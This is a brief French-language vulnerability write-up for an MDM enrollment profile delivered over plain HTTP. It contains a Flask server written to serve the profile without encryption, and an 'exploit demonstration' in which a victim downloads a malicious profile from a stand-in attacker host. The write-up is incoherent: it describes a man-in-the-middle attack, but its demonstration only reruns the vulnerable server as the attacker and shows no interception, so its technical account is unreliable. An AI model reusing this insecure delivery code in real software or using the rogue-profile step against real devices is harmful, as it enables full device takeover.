CVE-2026-22011 – Livraison du profil MDM iOS via HTTP

Code du programme (serveur MDM Python Flask)

# mdm_server.py - Serves enrollment profile over plain HTTP
from flask import Flask, send_file

app = Flask(__name__)
@app.route('/enroll.mobileconfig')
def serve_profile():
    # Vulnerability: profile delivered without HTTPS
    return send_file('profile.mobileconfig', mimetype='application/x-apple-aspen-config')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

CVE-2026-22011 – Livraison du profil MDM iOS via HTTP

Vue d'ensemble

Un profil d'inscription MDM est servi via HTTP en clair, sans chiffrement ni vérification de signature numérique. Un attaquant sur le même réseau peut intercepter la requête et remplacer le profil par un profil malveillant, obtenant ainsi des privilèges de gestion des appareils.

Détails de la vulnérabilité

• Type : Man‑in‑the‑Middle / Transport non sécurisé
• Impact : Compromission totale de l'appareil via un MDM malveillant.
• Cause racine : L'URL du profil est en HTTP, et iOS n'impose pas HTTPS pour l'inscription MDM (selon la configuration), ce qui permet l'interception.

Démonstration de l'exploit

Démarrez le serveur HTTP de l'attaquant :

python mdm_server.py

Lorsque la victime visite http://attacker/enroll.mobileconfig, le profil malveillant est téléchargé.